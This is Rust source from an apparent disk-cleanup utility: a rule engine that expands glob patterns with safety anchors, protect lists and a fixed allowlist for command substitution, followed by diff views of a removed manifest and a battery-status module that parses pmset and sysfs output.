use std::sync::{Mutex, OnceLock};
/// What should happen to a matched path.
#[derive(Clone, Copy, Debug, PartialEq, Eq, Default, Deserialize)]
#[serde(rename_all = "lowercase")]
pub enum RuleMode {
/// Remove the matched entry itself (directory trees included).
#[default]
Path,
/// Remove the *children* of the matched directory but keep the directory —
/// required for lock files and folders apps expect to exist (Caches, Trash).
Contents,
/// Only remove regular files; directories are descended into.
Files,
}
impl RuleMode {
pub fn as_str(self) -> &'static str {
match self {
RuleMode::Path => "path",
RuleMode::Contents => "contents",
RuleMode::Files => "files",
}
}
}
fn default_true() -> bool {
true
}
fn category_from_str<'de, D>(deserializer: D) -> Result<Category, D::Error>
where
D: serde::Deserializer<'de>,
{
use serde::de::Error as _;
let raw = String::deserialize(deserializer)?;
Category::parse(&raw).ok_or_else(|| D::Error::custom(format!("unknown category `{raw}`")))
}
/// One cleanup rule as written in `rules/*.toml`.
#[derive(Clone, Debug, Deserialize)]
pub struct Rule {
pub id: String,
#[serde(deserialize_with = "category_from_str")]
pub category: Category,
#[serde(default)]
pub title: String,
pub patterns: Vec<String>,
#[serde(default)]
pub mode: RuleMode,
/// Platforms this rule applies to (`macos`, `linux`, `windows`).
/// Empty means "every platform".
#[serde(default)]
pub os: Vec<String>,
/// Globs (matched against the absolute path *and* the path relative to the
/// pattern anchor) that must never be deleted.
#[serde(default)]
pub protect: Vec<String>,
/// Skip entries modified more recently than this many days ago.
#[serde(default)]
pub min_age_days: u64,
#[serde(default = "default_true")]
pub select_by_default: bool,
/// Rule touches paths the current user cannot write: surface it, but keep
/// it unselected unless the user opted in.
#[serde(default)]
pub needs_admin: bool,
/// Process names that make this rule unsafe right now.
#[serde(default)]
pub skip_if_running: Vec<String>,
/// Show a warning marker in the UI.
#[serde(default)]
pub risky: bool,
#[serde(default)]
pub note: Option<String>,
}
impl Rule {
pub fn display_title(&self) -> &str {
if self.title.is_empty() {
&self.id
} else {
&self.title
}
}
pub fn applies_to_current_os(&self) -> bool {
if self.os.is_empty() {
return true;
}
self.os.iter().any(|os| os == current_os_tag())
}
pub fn min_age(&self) -> Option<std::time::Duration> {
if self.min_age_days == 0 {
None
} else {
Some(std::time::Duration::from_secs(self.min_age_days * 86_400))
}
}
}
fn current_os_tag() -> &'static str {
match squid_platform::PlatformId::current() {
squid_platform::PlatformId::MacOS => "macos",
squid_platform::PlatformId::Linux => "linux",
squid_platform::PlatformId::Windows => "windows",
squid_platform::PlatformId::Unknown => "unknown",
}
}
#[derive(Deserialize)]
struct RuleFile {
#[serde(default)]
rule: Vec<Rule>,
}
/// The rules that apply to this machine, in display order.
#[derive(Clone, Debug, Default)]
pub struct RuleSet {
rules: Vec<Rule>,
errors: Vec<String>,
}
impl RuleSet {
/// Built-in rules for the host OS plus anything the user dropped into
/// `<config dir>/rules/*.toml`, filtered by `settings.disabled_rules`.
pub fn load(settings: &Settings) -> RuleSet {
let mut set = RuleSet::builtins();
set.merge_user_rules();
set.rules
.retain(|rule| rule.applies_to_current_os() && settings.rule_enabled(&rule.id));
set.rules
.sort_by(|a, b| a.category.cmp(&b.category).then_with(|| a.id.cmp(&b.id)));
set
}
/// Everything shipped for the current platform, unfiltered.
pub fn builtins() -> RuleSet {
let mut set = RuleSet::default();
if cfg!(target_os = "macos") {
set.parse_str(EMBEDDED_MACOS, "builtin:macos.toml");
}
if cfg!(target_os = "windows") {
set.parse_str(EMBEDDED_WINDOWS, "builtin:windows.toml");
}
set
}
fn merge_user_rules(&mut self) {
let dir = Settings::config_dir().join("rules");
let Ok(entries) = std::fs::read_dir(&dir) else {
return;
};
let mut files: Vec<PathBuf> = entries
.flatten()
.map(|e| e.path())
.filter(|p| p.extension().map(|ext| ext == "toml").unwrap_or(false))
.collect();
files.sort();
for file in files {
let Ok(text) = std::fs::read_to_string(&file) else {
self.errors
.push(format!("{}: could not read", file.display()));
continue;
};
let label = file.display().to_string();
self.parse_str(&text, &label);
}
}
fn parse_str(&mut self, text: &str, label: &str) {
match toml::from_str::<RuleFile>(text) {
Ok(file) => self.rules.extend(file.rule),
Err(err) => self.errors.push(format!("{label}: {err}")),
}
}
pub fn rules(&self) -> &[Rule] {
&self.rules
}
pub fn errors(&self) -> &[String] {
&self.errors
}
pub fn is_empty(&self) -> bool {
self.rules.is_empty()
}
pub fn len(&self) -> usize {
self.rules.len()
}
pub fn by_category(&self, category: Category) -> Vec<&Rule> {
self.rules
.iter()
.filter(|rule| rule.category == category)
.collect()
}
pub fn categories(&self) -> Vec<Category> {
let mut seen: Vec<Category> = Vec::new();
for rule in &self.rules {
if !seen.contains(&rule.category) {
seen.push(rule.category);
}
}
seen.sort();
seen
}
pub fn get(&self, id: &str) -> Option<&Rule> {
self.rules.iter().find(|rule| rule.id == id)
}
}
// ─────────────────────────────── expansion ────────────────────────────────
/// One path a rule matched, plus the anchor that authorises deleting it.
#[derive(Clone, Debug, PartialEq, Eq)]
pub struct Match {
pub path: PathBuf,
/// Literal directory the pattern lives under; deletions must stay inside.
pub anchor: PathBuf,
}
/// The only command substitutions rules may use. Deliberately a fixed list:
/// rules are data, and data must not be able to run arbitrary programs.
fn run_substitution(command: &str) -> Option<String> {
static CACHE: OnceLock<Mutex<HashMap<String, Option<String>>>> = OnceLock::new();
let cache = CACHE.get_or_init(|| Mutex::new(HashMap::new()));
if let Ok(guard) = cache.lock() {
if let Some(known) = guard.get(command) {
return known.clone();
}
}
let allowed = matches!(
command,
"brew --prefix" | "brew --repository" | "getconf DARWIN_USER_CACHE_DIR"
);
let value = if allowed {
let mut parts = command.split_whitespace();
let program = parts.next()?;
std::process::Command::new(program)
.args(parts)
.output()
.ok()
.filter(|out| out.status.success())
.map(|out| String::from_utf8_lossy(&out.stdout).trim().to_string())
.filter(|out| !out.is_empty() && out.starts_with('/'))
} else {
None
};
if let Ok(mut guard) = cache.lock() {
guard.insert(command.to_string(), value.clone());
}
value
}
/// Resolve `$HOME`, environment variables and the one command substitution we
/// allow. Returns `None` when a required variable or tool is missing.
pub fn resolve_variables(pattern: &str) -> Option<String> {
let mut text = pattern.trim().to_string();
if text.is_empty() {
return None;
}
while let Some(start) = text.find("$(") {
let rest = &text[start + 2..];
let end = rest.find(')')?;
let command = rest[..end].trim().to_string();
let replacement = run_substitution(&command)?;
text = format!("{}{}{}", &text[..start], replacement, &rest[end + 1..]);
}
if text == "~" || text.starts_with("~/") || text.starts_with("~\\") {
text = text.replacen('~', &paths::home_dir().to_string_lossy(), 1);
}
let mut cursor = 0usize;
while let Some(offset) = text[cursor..].find("${") {
let pos = cursor + offset;
let rest = &text[pos + 2..];
let end = rest.find('}')?;
let name = rest[..end].to_string();
let value = env_value(&name)?;
text = format!("{}{}{}", &text[..pos], value, &rest[end + 1..]);
// Continue after the substituted value so replacement text is never
// re-scanned (an env var may itself contain `$`).
cursor = pos + value.len();
}
if text.starts_with('$') {
let head = text
.find(['/', '\\'])
.map(|idx| text[1..idx].to_string())
.unwrap_or_else(|| text[1..].to_string());
let value = env_value(&head)?;
text = format!("{}{}", value, &text[1 + head.len()..]);
}
Some(text)
}
fn env_value(name: &str) -> Option<String> {
if name == "HOME" {
return Some(paths::home_dir().to_string_lossy().into_owned());
}
std::env::var(name).ok().filter(|value| !value.is_empty())
}
fn has_glob(component: &str) -> bool {
component
.chars()
.any(|c| matches!(c, '*' | '?' | '[' | '{'))
}
fn glob_matcher(component: &str) -> Option<GlobMatcher> {
GlobBuilder::new(component)
.literal_separator(true)
.backslash_escape(true)
// Windows filenames are matched case-insensitively by the OS; rules
// must not silently miss entries that differ only in casing.
.case_insensitive(cfg!(windows))
.build()
.ok()
.map(|glob| glob.compile_matcher())
}
/// The literal directory in front of the first wildcard component.
///
/// `~/Library/Caches/Google/*` → `~/Library/Caches/Google`; a pattern without
/// wildcards anchors on its parent so `SafetyPolicy::check` still sees depth ≥ 1.
pub fn anchor_for(pattern: &str) -> Option<PathBuf> {
let resolved = resolve_variables(pattern)?;
let resolved = resolved.trim_end_matches('/');
if resolved.is_empty() {
return None;
}
let path = Path::new(resolved);
let mut anchor = PathBuf::new();
let mut saw_glob = false;
for component in path.components() {
let text = match component {
Component::RootDir => {
// Windows spells `C:\…` as Prefix("C:") then RootDir; fold
// them into a rooted `C:\` anchor instead of drive-relative
// `C:/`. On Unix this is the leading `/`.
let existing = anchor.as_os_str().to_string_lossy().into_owned();
if !existing.is_empty() && !existing.contains(['/', '\\']) {
anchor = PathBuf::from(format!("{existing}\\", existing = existing));
} else {
anchor.push("/");
}
continue;
}
Component::CurDir => continue,
// Drive/UNC prefixes are part of the anchor on Windows.
Component::Prefix(prefix) => {
anchor.push(prefix.as_os_str());
continue;
}
Component::Normal(text) => text.to_string_lossy().into_owned(),
Component::ParentDir => return None,
};
if has_glob(&text) {
saw_glob = true;
break;
}
anchor.push(text);
}
if !saw_glob {
anchor = path
.parent()
.map(Path::to_path_buf)
.unwrap_or_else(|| PathBuf::from("/"));
}
if anchor.as_os_str().is_empty() {
anchor = PathBuf::from("/");
}
Some(anchor)
}
/// Expand one glob pattern into the existing paths it matches.
///
/// Expansion walks the filesystem component by component, so a wildcard can
/// only ever enumerate directories that really exist below the anchor.
pub fn expand_pattern(pattern: &str) -> Vec<Match> {
let Some(anchor) = anchor_for(pattern) else {
return Vec::new();
};
let Some(resolved) = resolve_variables(pattern) else {
return Vec::new();
};
let resolved = resolved.trim_end_matches('/');
let components: Vec<String> = Path::new(resolved)
.components()
.filter_map(|c| match c {
Component::Normal(text) => Some(text.to_string_lossy().into_owned()),
Component::RootDir => Some("/".to_string()),
_ => None,
})
.collect();
let mut frontier: Vec<PathBuf> = if anchor.exists() {
vec![anchor.clone()]
} else {
return Vec::new();
};
let Some(glob_at) = components.iter().position(|component| has_glob(component)) else {
// A wildcard-free pattern names exactly one path. `anchor_for` handed us
// its *parent* so the safety layer has a directory to vouch for, and the
// frontier would still hold that parent — returning it here would turn
// "~/.cargo/.package-cache" into "delete all of ~/.cargo".
let literal = PathBuf::from(resolved);
return match literal.symlink_metadata() {
Ok(_) => vec![Match {
path: literal,
anchor,
}],
Err(_) => Vec::new(),
};
};
let mut cursor = glob_at;
while cursor < components.len() {
let component = components[cursor].as_str();
if component == "**" {
let mut next = Vec::new();
for dir in &frontier {
next.extend(descendants(dir, 6));
}
next.sort();
next.dedup();
frontier = next;
cursor += 1;
if frontier.is_empty() {
break;
}
continue;
}
let Some(matcher) = glob_matcher(component) else {
return Vec::new();
};
let mut next = Vec::new();
for dir in &frontier {
let Ok(entries) = std::fs::read_dir(dir) else {
continue;
};
for entry in entries.flatten() {
let name = entry.file_name().to_string_lossy().into_owned();
if !matcher.is_match(&name) {
continue;
}
let path = dir.join(&name);
let is_last = cursor + 1 == components.len();
if is_last || path.is_dir() {
next.push(path);
}
}
}
next.sort();
next.dedup();
frontier = next;
cursor += 1;
if frontier.is_empty() {
break;
}
}
frontier.retain(|path| path.symlink_metadata().is_ok());
frontier
.into_iter()
.map(|path| Match {
path,
anchor: anchor.clone(),
})
.collect()
}
fn descendants(dir: &Path, max_depth: usize) -> Vec<PathBuf> {
let mut out = Vec::new();
if max_depth == 0 {
return out;
}
let Ok(entries) = std::fs::read_dir(dir) else {
return out;
};
for entry in entries.flatten() {
let path = entry.path();
let is_dir = entry.file_type().map(|ft| ft.is_dir()).unwrap_or(false);
out.push(path.clone());
if is_dir {
out.extend(descendants(&path, max_depth - 1));
}
}
out
}
/// Compiled `protect` list of one rule.
#[derive(Clone, Debug, Default)]
pub struct Protector {
absolute: Vec<GlobMatcher>,
relative: Vec<GlobMatcher>,
}
impl Protector {
pub fn new(rule: &Rule) -> Protector {
let mut absolute = Vec::new();
let mut relative = Vec::new();
for raw in &rule.protect {
#[cfg_attr(not(windows), allow(unused_mut))]
let mut resolved = resolve_variables(raw).unwrap_or_else(|| raw.clone());
#[cfg(windows)]
{
// Matching below funnels through `/`-normalised text; make the
// patterns speak the same language.
resolved = resolved.replace('\\', "/");
}
let is_absolute = resolved.starts_with('/')
|| (cfg!(windows)
&& resolved.as_bytes().get(1) == Some(&b':')
&& resolved.as_bytes()[0].is_ascii_alphabetic());
if is_absolute {
if let Some(matcher) = glob_matcher(&resolved) {
absolute.push(matcher);
continue;
}
}
match GlobBuilder::new(&format!("**/{resolved}"))
.case_insensitive(cfg!(windows))
.build()
{
Ok(glob) => relative.push(glob.compile_matcher()),
Err(_) => {
if let Some(matcher) = glob_matcher(raw) {
relative.push(matcher);
}
}
}
}
Protector { absolute, relative }
}
pub fn is_empty(&self) -> bool {
self.absolute.is_empty() && self.relative.is_empty()
}
/// `true` when the path (or any ancestor below the anchor) is protected, so
/// protecting `Homebrew` also protects everything inside it.
pub fn is_protected(&self, path: &Path, anchor: &Path) -> bool {
if self.absolute.is_empty() && self.relative.is_empty() {
return false;
}
let text = path.to_string_lossy().into_owned();
#[cfg(windows)]
let text = text.replace('\\', "/");
if self.absolute.iter().any(|m| m.is_match(&*text)) {
return true;
}
for ancestor in path.ancestors() {
// Case-insensitive containment on Windows; `None` also covers the
// anchor itself, whose next ancestor leaves the anchor anyway.
let Some(rel) = paths::relative_below(anchor, ancestor) else {
break;
};
let rel = rel.to_string_lossy().into_owned();
#[cfg(windows)]
let rel = rel.replace('\\', "/");
if self.relative.iter().any(|m| m.is_match(&*rel)) {
return true;
}
}
false
}
}
/// A rule bundled with its compiled matchers — what the engine actually uses.
#[derive(Clone, Debug)]
pub struct PreparedRule {
pub rule: Rule,
protector: Protector,
}
impl PreparedRule {
pub fn new(rule: Rule) -> PreparedRule {
let protector = Protector::new(&rule);
PreparedRule { rule, protector }
}
pub fn is_protected(&self, path: &Path, anchor: &Path) -> bool {
self.protector.is_protected(path, anchor)
}
/// Every existing path this rule claims, minus protected ones.
pub fn matches(&self) -> Vec<Match> {
let mut out: Vec<Match> = Vec::new();
for pattern in &self.rule.patterns {
for matched in expand_pattern(pattern) {
if self.is_protected(&matched.path, &matched.anchor) {
continue;
}
if !out.contains(&matched) {
out.push(matched);
}
}
}
out
}
}
pub fn prepare_all(set: &RuleSet) -> Vec<PreparedRule> {
set.rules().iter().cloned().map(PreparedRule::new).collect()
}
/// Utility kept for tests and `squid rules --explain`.
pub fn globset_of(patterns: &[String]) -> Option<GlobSet> {
let mut builder = GlobSetBuilder::new();
let mut any = false;
for pattern in patterns {
if let Ok(glob) = Glob::new(pattern) {
builder.add(glob);
any = true;
}
}
if !any {
return None;
}
builder.build().ok()
}
const EMBEDDED_MACOS: &str = include_str!("../rules/macos.toml");
const EMBEDDED_WINDOWS: &str = include_str!("../rules/windows.toml");
#[cfg(test)]
mod tests {
#[test]
fn wildcard_free_patterns_match_the_file_not_the_parent() {
let root = std::env::temp_dir().join(format!(
"squid-literal-{}",
squid_core::ledger::new_session_id()
));
if let Err(error) = std::fs::create_dir_all(&root) {
if error.kind() == std::io::ErrorKind::PermissionDenied {
eprintln!("skipping: scratch write denied ({error})");
return;
}
panic!("scratch dir: {error}");
}
let file = root.join(".package-cache");
std::fs::write(&file, b"x").unwrap();
let matches = expand_pattern(file.to_str().unwrap());
assert_eq!(matches.len(), 1, "the file itself must be the match");
assert_eq!(matches[0].path, file);
// …and the anchor stays the directory the safety layer vouches for.
assert_eq!(matches[0].anchor, root);
let missing = root.join("does-not-exist");
assert!(expand_pattern(missing.to_str().unwrap()).is_empty());
let _ = std::fs::remove_dir_all(&root);
}
use super::*;
/// Skips (None) when an endpoint protector refuses scratch writes on a
/// freshly built unsigned test binary; that is environmental, not a bug.
fn temp_dir(name: &str) -> Option<PathBuf> {
let root = std::env::temp_dir().join(format!("squid-rules-{name}"));
let _ = std::fs::remove_dir_all(&root);
match std::fs::create_dir_all(&root) {
Ok(()) => Some(root),
Err(error) if error.kind() == std::io::ErrorKind::PermissionDenied => {
eprintln!("skipping: scratch write denied ({error})");
None
}
Err(error) => panic!("scratch dir: {error}"),
}
}
#[test]
fn embedded_rules_parse() {
let set = RuleSet::builtins();
assert!(
set.errors().is_empty(),
"builtin rules failed: {:?}",
set.errors()
);
assert!(
set.len() > 20,
"expected dozens of rules, got {}",
set.len()
);
let mut ids: Vec<&str> = set.rules().iter().map(|r| r.id.as_str()).collect();
ids.sort();
let count = ids.len();
ids.dedup();
assert_eq!(ids.len(), count, "duplicate rule ids");
}
#[test]
fn every_rule_has_a_safe_anchor() {
for rule in RuleSet::builtins().rules() {
for pattern in &rule.patterns {
let anchor = anchor_for(pattern)
.unwrap_or_else(|| panic!("{}: no anchor for {pattern}", rule.id));
assert!(
anchor.is_absolute(),
"{}: anchor {anchor:?} is not absolute",
rule.id
);
assert!(
!paths::is_root_like(&anchor),
"{}: anchors at a filesystem root",
rule.id
);
}
}
}
#[test]
fn windows_rules_parse_on_every_host() {
// The Windows host check only runs in CI's cross-check job, so the
// TOML itself must at least parse on every platform.
let mut set = RuleSet::default();
set.parse_str(EMBEDDED_WINDOWS, "builtin:windows.toml");
assert!(
set.errors().is_empty(),
"windows rules failed: {:?}",
set.errors()
);
assert!(
set.len() > 20,
"expected dozens of rules, got {}",
set.len()
);
let mut ids: Vec<&str> = set.rules().iter().map(|r| r.id.as_str()).collect();
ids.sort();
let count = ids.len();
ids.dedup();
assert_eq!(ids.len(), count, "duplicate rule ids");
for rule in set.rules() {
assert_eq!(
rule.os,
vec!["windows".to_string()],
"{}: wrong os tag",
rule.id
);
}
}
#[test]
fn env_variables_resolve_case_insensitively_and_stop_at_separators() {
std::env::set_var("SQUID_TEST_VAR", "C:\\Test Root");
// `$VAR` at the head stops at the first separator, either flavour.
assert_eq!(
resolve_variables("$SQUID_TEST_VAR\\sub\\*").as_deref(),
Some("C:\\Test Root\\sub\\*")
);
// Multiple `${VAR}` occurrences all resolve.
assert_eq!(
resolve_variables("${SQUID_TEST_VAR}\\a\\${SQUID_TEST_VAR}\\b").as_deref(),
Some("C:\\Test Root\\a\\C:\\Test Root\\b")
);
assert!(resolve_variables("$SQUID_TEST_UNDEFINED\\x").is_none());
std::env::remove_var("SQUID_TEST_VAR");
}
#[cfg(windows)]
#[test]
fn windows_anchors_are_never_at_a_drive_root() {
let mut set = RuleSet::default();
set.parse_str(EMBEDDED_WINDOWS, "builtin:windows.toml");
for rule in set.rules() {
for pattern in &rule.patterns {
let anchor = anchor_for(pattern)
.unwrap_or_else(|| panic!("{}: no anchor for {pattern}", rule.id));
assert!(
anchor.is_absolute(),
"{}: anchor {anchor:?} is not absolute",
rule.id
);
assert!(
!paths::is_root_like(&anchor),
"{}: anchors at a volume root: {anchor:?}",
rule.id
);
assert!(
anchor.components().count() >= 2,
"{}: anchor too shallow: {anchor:?}",
rule.id
);
}
}
}
#[test]
fn anchors_handle_slashes_and_literal_paths() {
assert_eq!(
anchor_for("/Volumes/*/").unwrap(),
PathBuf::from("/Volumes")
);
assert_eq!(
anchor_for("~/Library/Caches/*").unwrap(),
paths::home_dir().join("Library/Caches")
);
assert_eq!(
anchor_for("~/.cargo/.package-cache").unwrap(),
paths::home_dir().join(".cargo")
);
assert_eq!(
anchor_for("$HOME/go/pkg/mod/cache/*").unwrap(),
paths::home_dir().join("go/pkg/mod/cache")
);
}
#[test]
fn wildcards_do_not_cross_separators() {
let Some(root) = temp_dir("wildcards") else {
return;
};
std::fs::create_dir_all(root.join("s1/deep")).unwrap();
std::fs::create_dir_all(root.join("other")).unwrap();
let matches = expand_pattern(&format!("{}/s*/", root.display()));
assert_eq!(matches.len(), 1, "matches: {matches:?}");
assert_eq!(matches[0].path, root.join("s1"));
assert_eq!(matches[0].anchor, root);
assert_eq!(expand_pattern(&format!("{}/s*/*", root.display())).len(), 1);
assert_eq!(expand_pattern(&format!("{}/s*", root.display())).len(), 1);
assert!(expand_pattern(&format!("{}/nope/*", root.display())).is_empty());
let _ = std::fs::remove_dir_all(root);
}
#[test]
fn suffix_globs_match_files() {
let Some(root) = temp_dir("suffix") else {
return;
};
std::fs::write(root.join("a.dmg"), b"x").unwrap();
std::fs::write(root.join("b.pkg"), b"x").unwrap();
std::fs::write(root.join("c.txt"), b"x").unwrap();
let images = expand_pattern(&format!("{}/*.dmg", root.display()));
assert_eq!(images.len(), 1);
assert_eq!(images[0].path, root.join("a.dmg"));
let all = expand_pattern(&format!("{}/*", root.display()));
assert_eq!(all.len(), 3);
let _ = std::fs::remove_dir_all(root);
}
#[test]
fn protect_blocks_subtrees() {
let rule = Rule {
id: "t".into(),
category: Category::AppCaches,
title: String::new(),
patterns: vec!["~/Library/Caches/*".into()],
mode: RuleMode::Path,
os: vec![],
protect: vec!["Homebrew".into(), "com.apple.*".into()],
min_age_days: 0,
select_by_default: true,
needs_admin: false,
skip_if_running: vec![],
risky: false,
note: None,
};
let prepared = PreparedRule::new(rule);
let anchor = paths::home_dir().join("Library/Caches");
assert!(prepared.is_protected(&anchor.join("Homebrew"), &anchor));
assert!(prepared.is_protected(&anchor.join("Homebrew/Downloads/x"), &anchor));
assert!(prepared.is_protected(&anchor.join("com.apple.iconservices"), &anchor));
assert!(!prepared.is_protected(&anchor.join("Slack/cache"), &anchor));
}
#[test]
fn missing_tool_disarms_pattern() {
// `brew` may or may not exist; either way expansion must not panic and
// must never yield a truncated path such as `/Library/Caches/…`.
for matched in expand_pattern("$(brew --prefix)/Library/Caches/Homebrew/*") {
assert!(matched
.anchor
.to_string_lossy()
.ends_with("/Library/Caches/Homebrew"));
}
assert!(expand_pattern("$(definitely-not-a-real-binary --prefix)/x/*").is_empty());
assert!(anchor_for("$(definitely-not-a-real-binary --prefix)/x/*").is_none());
}
}

View File

@ -1,18 +0,0 @@
[package]
name = "squid-stats"
version.workspace = true
edition.workspace = true
rust-version.workspace = true
license.workspace = true
description = "Live system metrics for squid (iStat Menus style)"
[dependencies]
squid-core.workspace = true
squid-platform.workspace = true
serde.workspace = true
sysinfo.workspace = true
libc.workspace = true
chrono.workspace = true
[target.'cfg(windows)'.dependencies]
windows-sys = { version = "0.59", features = ["Win32_System_SystemInformation"] }

View File

@ -1,320 +0,0 @@
//! Battery state without pulling in IOKit bindings.
//!
//! macOS: `pmset -g batt` (plus `ioreg` once per refresh for wear/cycles).
//! Linux: `/sys/class/power_supply/BAT*/`. Windows: the caller gets `None`
//! until the Win32 power status API is wired up — the TUI simply omits the
//! battery card.
use serde::{Deserialize, Serialize};
#[derive(Clone, Debug, Default, Deserialize, Serialize)]
pub struct Battery {
pub percent: u8,
pub charging: bool,
pub on_ac: bool,
pub present: bool,
/// Minutes until fully charged, when the OS is willing to estimate it.
pub minutes_to_full: Option<u64>,
/// Minutes of runtime left on battery.
pub minutes_to_empty: Option<u64>,
/// Maximum capacity versus design capacity (iStat's "Health").
pub health_percent: Option<u8>,
pub cycle_count: Option<u32>,
pub temperature_c: Option<f32>,
}
impl Battery {
pub fn current() -> Option<Battery> {
#[cfg(target_os = "macos")]
{
macos_battery()
}
#[cfg(target_os = "linux")]
{
return linux_battery();
}
#[cfg(not(any(target_os = "macos", target_os = "linux")))]
{
None
}
}
pub fn label(&self) -> String {
if self.charging {
format!("{}% charging", self.percent)
} else if self.on_ac {
format!("{}% charged", self.percent)
} else {
format!("{}% on battery", self.percent)
}
}
}
#[cfg(target_os = "macos")]
fn macos_battery() -> Option<Battery> {
let output = std::process::Command::new("/usr/bin/pmset")
.arg("-g")
.arg("batt")
.output()
.ok()
.filter(|output| output.status.success())?;
let text = String::from_utf8_lossy(&output.stdout);
let mut battery = parse_pmset(&text)?;
if let Some((health, cycles, temp)) = battery_details() {
battery.health_percent = health;
battery.cycle_count = cycles;
battery.temperature_c = temp;
}
if let Some(health) = maximum_capacity() {
battery.health_percent = Some(health);
}
Some(battery)
}
/// Example input:
///
/// ```text
/// Now drawing from 'Battery Power'
/// -InternalBattery-0 (id=6226083) 87%; discharging; 4:12 remaining present: true
/// ```
#[cfg(target_os = "macos")]
pub fn parse_pmset(text: &str) -> Option<Battery> {
let mut battery = Battery {
present: false,
percent: 0,
charging: false,
on_ac: false,
minutes_to_full: None,
minutes_to_empty: None,
health_percent: None,
cycle_count: None,
temperature_c: None,
};
let source_line = text
.lines()
.find(|line| line.trim_start().starts_with("Now drawing from"))?;
battery.on_ac = source_line.contains("AC Power");
let detail = text
.lines()
.find(|line| line.contains("Battery-") || line.contains('%'))
.filter(|line| !line.starts_with("Now drawing"))?;
if !detail.contains("Battery-") {
// Desktops report ` -AC Power 100%; charged; 0:00 remaining present: true`
// and have no battery to show.
return None;
}
battery.present = true;
let body = detail.split('\t').next_back().unwrap_or(detail).trim();
let mut parts = body.split(';');
let first = parts.next()?.trim();
battery.percent = first.split('%').next()?.trim().parse().unwrap_or(0);
let state = parts.next().unwrap_or("").trim().to_lowercase();
battery.charging = state.contains("charging") && !state.contains("discharging");
if state.contains("discharging") && !battery.on_ac {
battery.on_ac = false;
}
let remaining = parts.next().unwrap_or("").trim();
if let Some(minutes) = parse_hhmm(remaining.split_whitespace().next().unwrap_or("")) {
if battery.charging {
battery.minutes_to_full = Some(minutes);
} else if state.contains("discharging") {
battery.minutes_to_empty = Some(minutes);
}
}
Some(battery)
}
#[cfg(target_os = "macos")]
fn battery_details() -> Option<(Option<u8>, Option<u32>, Option<f32>)> {
let output = std::process::Command::new("/usr/sbin/ioreg")
.args(["-rn", "AppleSmartBattery"])
.output()
.ok()
.filter(|output| output.status.success())?;
let text = String::from_utf8_lossy(&output.stdout);
let health = health_from_ioreg(&text);
let cycles = find_number(&text, "CycleCount").map(|value| value as u32);
let temp = find_number(&text, "Temperature").map(|tenths| tenths as f32 / 100.0);
Some((health, cycles, temp))
}
/// macOS already publishes the same figure it shows in System Settings. Read it
/// once every ten minutes rather than deriving it from `MaxCapacity`, which on
/// Apple Silicon is a percentage rather than a mAh reading.
#[cfg(target_os = "macos")]
fn maximum_capacity() -> Option<u8> {
use std::sync::Mutex;
use std::time::{Duration, Instant};
static CACHE: Mutex<Option<(Instant, Option<u8>)>> = Mutex::new(None);
let stale = CACHE
.lock()
.ok()
.and_then(|guard| *guard)
.map(|(at, _)| at.elapsed() > Duration::from_secs(600))
.unwrap_or(true);
if !stale {
return CACHE
.lock()
.ok()
.and_then(|guard| guard.and_then(|(_, health)| health));
}
let output = std::process::Command::new("/usr/sbin/system_profiler")
.arg("SPPowerDataType")
.output()
.ok()
.filter(|output| output.status.success());
let health = output
.as_ref()
.and_then(|output| parse_maximum_capacity(&String::from_utf8_lossy(&output.stdout)));
if let Ok(mut guard) = CACHE.lock() {
*guard = Some((Instant::now(), health));
}
health
}
#[cfg(target_os = "macos")]
fn parse_maximum_capacity(text: &str) -> Option<u8> {
let line = text
.lines()
.find(|line| line.trim_start().starts_with("Maximum Capacity:"))?;
let value = line.split_once(':')?.1.trim().trim_end_matches('%').trim();
value
.parse::<u8>()
.ok()
.filter(|value| (1..=100).contains(value))
}
#[cfg(target_os = "macos")]
fn health_from_ioreg(text: &str) -> Option<u8> {
let design = find_number(text, "DesignCapacity")?;
if design == 0 {
return None;
}
// `MaxCapacity` is a percentage on Apple Silicon. The raw/nominal fields are
// the actual mAh readings and are the only values that can form a ratio.
let maximum = find_number(text, "AppleRawMaxCapacity")
.filter(|value| *value > 0)
.or_else(|| find_number(text, "NominalChargeCapacity").filter(|value| *value > 0))?;
Some(
((maximum as f64 / design as f64) * 100.0)
.round()
.min(100.0) as u8,
)
}
#[cfg(target_os = "macos")]
fn find_number(text: &str, key: &str) -> Option<u64> {
let (_, after) = text.split_once(&format!("\"{key}\""))?;
let after = after.split('=').nth(1)?.trim_start();
let digits: String = after.chars().take_while(|c| c.is_ascii_digit()).collect();
digits.parse().ok()
}
#[cfg(target_os = "linux")]
fn linux_battery() -> Option<Battery> {
let root = std::path::Path::new("/sys/class/power_supply");
let entries = std::fs::read_dir(root).ok()?;
let dir = entries.flatten().map(|entry| entry.path()).find(|path| {
path.file_name()
.map(|name| name.to_string_lossy().starts_with("BAT"))
.unwrap_or(false)
})?;
let read = |name: &str| {
std::fs::read_to_string(dir.join(name))
.ok()
.map(|value| value.trim().to_string())
};
let percent: u8 = read("capacity")?.parse().ok()?;
let status = read("status").unwrap_or_default().to_lowercase();
let charging = status.contains("charging");
let full = || {
let now = read("energy_now")?.parse::<f64>().ok()?;
let rate = read("power_now")?.parse::<f64>().ok()?;
if rate <= 0.0 {
return None;
}
Some((now / rate * 60.0) as u64)
};
Some(Battery {
percent,
charging,
on_ac: status.contains("full") || status.contains("not charging"),
present: true,
minutes_to_full: if charging { full() } else { None },
minutes_to_empty: if !charging && status.contains("discharging") {
full()
} else {
None
},
health_percent: None,
cycle_count: read("cycle_count")?.parse().ok(),
temperature_c: None,
})
}
#[cfg(any(target_os = "macos", target_os = "linux"))]
fn parse_hhmm(text: &str) -> Option<u64> {
let (hours, minutes) = text.split_once(':')?;
let hours: u64 = hours.parse().ok()?;
let minutes: u64 = minutes.parse().ok()?;
Some(hours * 60 + minutes)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
#[cfg(target_os = "macos")]
fn parses_pmset_output() {
let text = "Now drawing from 'Battery Power'\n -InternalBattery-0 (id=6226083)\t87%; discharging; 4:12 remaining present: true\n";
let battery = parse_pmset(text).expect("battery");
assert_eq!(battery.percent, 87);
assert!(!battery.charging);
assert!(!battery.on_ac);
assert_eq!(battery.minutes_to_empty, Some(252));
let charging = "Now drawing from 'AC Power'\n -InternalBattery-0 (id=6226083)\t42%; charging; (no estimate) present: true\n";
let battery = parse_pmset(charging).expect("charging");
assert!(battery.charging);
assert!(battery.on_ac);
assert_eq!(battery.minutes_to_full, None);
}
#[test]
#[cfg(target_os = "macos")]
fn desktops_report_no_battery() {
let text = "Now drawing from 'AC Power'\n -AC Power 100%; charged; 0:00 remaining present: true\n";
assert!(parse_pmset(text).is_none());
}
#[test]
#[cfg(target_os = "macos")]
